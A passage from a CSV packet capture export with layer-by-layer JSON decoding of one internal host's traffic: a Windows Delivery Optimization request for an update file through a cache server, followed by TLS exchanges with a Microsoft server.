\"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 62750, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:47.966938,100,TCP 10.152.152.11:64025 -> 194.36.32.201:80,10.152.152.11,194.36.32.201,64025,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,PA,,http://194.36.32.201/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bdd38340008006a0260a98980bc22420c9fa190050d118245d295317f050180402b5a90000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a203139342e33362e33322e3230310d0a0d0a,\".$.)...$.6\n...E.....@....&\n....$ ....P..$])S..P.......GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 194.36.32.201\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 445, \"\"id\"\": 54147, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40998, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64025, \"\"dport\"\": 80, \"\"seq\"\": 3508020317, \"\"ack\"\": 693311472, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 46505, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"194.36.32.201\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-06-14 14:28:47.966941,101,TCP 194.36.32.201:80 -> 10.152.152.11:64025,194.36.32.201,10.152.152.11,80,64025,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=693311472 Ack=3508020722,bc2411360d0cbc24112907bb08004500002856af400040065e90c22420c90a98980b0050fa19295317f0d11825f25010003f85ab0000,\".$.6\n..$.)....E..(V.@.@.^..$ .\n....P..)S....%.P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22191, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 24208, \"\"src\"\": \"\"194.36.32.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64025, \"\"seq\"\": 693311472, \"\"ack\"\": 3508020722, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 34219, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.018237,102,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=2330696625 Ack=1256293933,bc2411360d0cbc24112907bb0800450001d32aa0400040066e2e3461c9520a98980b01bbfa0c8aeb9bb14ae1862d5018003fa21c0000160303012e0400012a00008ca00124000000000ab61cbee703d443bc0e0931b62de9e779cfb4dafe853fa796b39d912e0e314f620d375ba851eb04e98dc06b35b9894cc7f517a10d811049cc143b3306553f9b49d5f05941af973d36dea4f4c80c94a5ad68e09659b6111925fd073c21345103fe29c6ab3c808ca4d90b84019e4b24e32a0eb01db041745894adb2fe01b523ddbbd787e60a262f64fe92756f437a89087bf97b1f1f0d6e110a636c44090a4a7c8301fb52f9ca14db75d9bf85052ce320c8aa4fc207f86dbf2fd8514df9c5152cadbd55b6f8ef8687d54f63a1c5f419e7cfd680c98b59f95a30e1f490fe20139affdbd5d09fe8fce68c8bf5652a28cc35f9f33f3efd62058febf5b244112d23fe4a79556225b556ad31eb476f652fe5426b3955db6f008067a3cf0942e23c974114030300010116030300280000000000000000dc29793e91800a770d9725f9e27f0d1f6845e25be59b21b5415a7c6941a9c3811703030040000000000000000110624502e93800e87a30e8e42d40c6be6f31818d530ef0e460a2a9be685376f0cc172ed6d3ab0ebe6809843b8adb98764d74a7b38cff86ae,\".)y>..\nw\n.%...\n.hE.[..!.AZ|iA...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 10912, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28206, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330696625, \"\"ack\"\": 1256293933, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 41500, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\n\\\\xb6\\\\x1c\\\\xbe\\\\xe7\\\\x03\\\\xd4C\\\\xbc\\\\x0e\\\\t1\\\\xb6-\\\\xe9\\\\xe7y\\\\xcf\\\\xb4\\\\xda\\\\xfe\\\\x85?\\\\xa7\\\\x96\\\\xb3\\\\x9d\\\\x91.\\\\x0e1Ob\\\\r7[\\\\xa8Q\\\\xeb\\\\x04\\\\xe9\\\\x8d\\\\xc0k5\\\\xb9\\\\x89L\\\\xc7\\\\xf5\\\\x17\\\\xa1\\\\r\\\\x81\\\\x10I\\\\xcc\\\\x14;3\\\\x06U?\\\\x9bI\\\\xd5\\\\xf0YA\\\\xaf\\\\x97=6\\\\xde\\\\xa4\\\\xf4\\\\xc8\\\\x0c\\\\x94\\\\xa5\\\\xadh\\\\xe0\\\\x96Y\\\\xb6\\\\x11\\\\x19%\\\\xfd\\\\x07<!4Q\\\\x03\\\\xfe)\\\\xc6\\\\xab<\\\\x80\\\\x8c\\\\xa4\\\\xd9\\\\x0b\\\\x84\\\\x01\\\\x9eK$\\\\xe3*\\\\x0e\\\\xb0\\\\x1d\\\\xb0AtX\\\\x94\\\\xad\\\\xb2\\\\xfe\\\\x01\\\\xb5#\\\\xdd\\\\xbb\\\\xd7\\\\x87\\\\xe6\\\\n&/d\\\\xfe\\\\x92uoCz\\\\x89\\\\x08{\\\\xf9{\\\\x1f\\\\x1f\\\\rn\\\\x11\\\\nclD\\\\t\\\\nJ|\\\\x83\\\\x01\\\\xfbR\\\\xf9\\\\xca\\\\x14\\\\xdbu\\\\xd9\\\\xbf\\\\x85\\\\x05,\\\\xe3 \\\\xc8\\\\xaaO\\\\xc2\\\\x07\\\\xf8m\\\\xbf/\\\\xd8QM\\\\xf9\\\\xc5\\\\x15,\\\\xad\\\\xbdU\\\\xb6\\\\xf8\\\\xef\\\\x86\\\\x87\\\\xd5Oc\\\\xa1\\\\xc5\\\\xf4\\\\x19\\\\xe7\\\\xcf\\\\xd6\\\\x80\\\\xc9\\\\x8bY\\\\xf9Z0\\\\xe1\\\\xf4\\\\x90\\\\xfe \\\\x13\\\\x9a\\\\xff\\\\xdb\\\\xd5\\\\xd0\\\\x9f\\\\xe8\\\\xfc\\\\xe6\\\\x8c\\\\x8b\\\\xf5e*(\\\\xcc5\\\\xf9\\\\xf3?>\\\\xfdb\\\\x05\\\\x8f\\\\xeb\\\\xf5\\\\xb2D\\\\x11-#\\\\xfeJyUb%\\\\xb5V\\\\xad1\\\\xebGoe/\\\\xe5Bk9U\\\\xdbo\\\\x00\\\\x80g\\\\xa3\\\\xcf\\\\tB\\\\xe2<\\\\x97A' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xdc)y>\\\\x91\\\\x80\\\\nw\\\\r\\\\x97%\\\\xf9\\\\xe2\\\\x7f\\\\r\\\\x1fhE\\\\xe2[\\\\xe5\\\\x9b!\\\\xb5AZ|iA\\\\xa9\\\\xc3\\\\x81' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x10bE\\\\x02\\\\xe98\\\\x00\\\\xe8z0\\\\xe8\\\\xe4-@\\\\xc6\\\\xbeo1\\\\x81\\\\x8dS\\\\x0e\\\\xf0\\\\xe4`\\\\xa2\\\\xa9\\\\xbehSv\\\\xf0\\\\xcc\\\\x17.\\\\xd6\\\\xd3\\\\xab\\\\x0e\\\\xbeh\\\\t\\\\x84;\\\\x8a\\\\xdb\\\\x98vMt\\\\xa7\\\\xb3\\\\x8c\\\\xff\\\\x86\\\\xae' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:48.018388,103,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256293933 Ack=2330697052,bc24112907bbbc2411360d0c080045000028ef4e400080066b2a0a98980b3461c952fa0c01bb4ae1862d8aeb9d5c501003fe16610000,\".$.)...$.6\n...E..(.N@...k*\n...4a.R....J..-...\\P....a..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61262, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27434, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293933, \"\"ack\"\": 2330697052, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 5729, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.019876,104,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1256293933 Ack=2330697052,bc24112907bbbc2411360d0c08004500007fef4f400080066ad20a98980b3461c952fa0c01bb4ae1862d8aeb9d5c501803fe17cc00001703030052000000000000000166f2894b11acda9c5f81918b8deb77ab4be29207e4862de4a55aebc4db2c5f1a2916935f8f1ad1f6f43bf36f33cdf19b716c097d7f0582605617b7922f0e2ce2135ee01136ec16985230,\".$.)...$.6\n...E....O@...j.\n...4a.R....J..-...\\P...........R........f..K...._.....w.K.....-..Z...,_.).._.....;.o3...ql\t}...`V.../.,..^..6...R0\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 61263, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27346, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293933, \"\"ack\"\": 2330697052, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 6092, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01f\\\\xf2\\\\x89K\\\\x11\\\\xac\\\\xda\\\\x9c_\\\\x81\\\\x91\\\\x8b\\\\x8d\\\\xebw\\\\xabK\\\\xe2\\\\x92\\\\x07\\\\xe4\\\\x86-\\\\xe4\\\\xa5Z\\\\xeb\\\\xc4\\\\xdb,_\\\\x1a)\\\\x16\\\\x93_\\\\x8f\\\\x1a\\\\xd1\\\\xf6\\\\xf4;\\\\xf3o3\\\\xcd\\\\xf1\\\\x9bql\\\\t}\\\\x7f\\\\x05\\\\x82`V\\\\x17\\\\xb7\\\\x92/\\\\x0e,\\\\xe2\\\\x13^\\\\xe0\\\\x116\\\\xec\\\\x16\\\\x98R0' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:48.019881,105,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2330697052 Ack=1256294020,bc2411360d0cbc24112907bb0800450000282aa1400040066fd83461c9520a98980b01bbfa0c8aeb9d5c4ae186845010003fa0710000,\".$.6\n..$.)....E..(*.@.@.o.4a.R\n..........\\J...P..?.q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10913, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28632, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330697052, \"\"ack\"\": 1256294020, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 41073, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.019965,106,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1256294020 Ack=2330697052,bc24112907bbbc2411360d0c08004500009cef50400080066ab40a98980b3461c952fa0c01bb4ae186848aeb9d5c501803fea8930000170303006f0000000000000002314b33605eb695b4ca38f6930570293aaa58bdae79449f4610973428373ca400dde218d70706f6b30baf5b5811bc7a9a2fa62b6c5448b9ab233cda17ba7d6e8f67b6c9a1da2807d0a7f0c4ecc1cbde9f3f4d9a14f8bb5452fc50dbdcca0c9ce10fba1c7c942f50,\".$.)...$.6\n...E....P@...j.\n...4a.R....J......\\P...........o........1K3`^....8...p):.X..yD.F..4(7<............[X..z./.+lTH..#<...}n.g....(..........?M....TR.P.........|./P\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 61264, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27316, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294020, \"\"ack\"\": 2330697052, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 43155, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x021K3`^\\\\xb6\\\\x95\\\\xb4\\\\xca8\\\\xf6\\\\x93\\\\x05p):\\\\xaaX\\\\xbd\\\\xaeyD\\\\x9fF\\\\x10\\\\x974(7<\\\\xa4\\\\x00\\\\xdd\\\\xe2\\\\x18\\\\xd7\\\\x07\\\\x06\\\\xf6\\\\xb3\\\\x0b\\\\xaf[X\\\\x11\\\\xbcz\\\\x9a/\\\\xa6+lTH\\\\xb9\\\\xab#<\\\\xda\\\\x17\\\\xba}n\\\\x8fg\\\\xb6\\\\xc9\\\\xa1\\\\xda(\\\\x07\\\\xd0\\\\xa7\\\\xf0\\\\xc4\\\\xec\\\\xc1\\\\xcb\\\\xde\\\\x9f?M\\\\x9a\\\\x14\\\\xf8\\\\xbbTR\\\\xfcP\\\\xdb\\\\xdc\\\\xca\\\\x0c\\\\x9c\\\\xe1\\\\x0f\\\\xba\\\\x1c|\\\\x94/P' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:48.019969,107,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2330697052 Ack=1256294136,bc2411360d0cbc24112907bb0800450000282aa2400040066fd73461c9520a98980b01bbfa0c8aeb9d5c4ae186f85010003fa0710000,\".$.6\n..$.)....E..(*.@.@.o.4a.R\n..........\\J...P..?.q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10914, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28631, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330697052, \"\"ack\"\": 1256294136, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 41073, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:48.020019,108,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1256294136 Ack=2330697052,bc24112907bbbc2411360d0c08004500004eef51400080066b010a98980b3461c952fa0c01bb4ae186f88aeb9d5c501803fe30fd000017030300210000000000000003af4609e2d8c8abee0f2ab79c430a84749149a6c048fcc97951,\".$.)...$.6\n...E..N.Q@...k.\n...4a.R....J......\\P...0.......!.........F\t......*..C\n.t.I..H..yQ\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 61265, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27393, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294136, \"\"ack\"\": 2330697052, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 12541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xafF\\\\t\\\\xe2\\\\xd8\\\\xc8\\\\xab\\\\xee\\\\x0f*\\\\xb7\\\\x9cC\\\\n\\\\x84t\\\\x91I\\\\xa6\\\\xc0H\\\\xfc\\\\xc9yQ' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:48.020022,109,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The 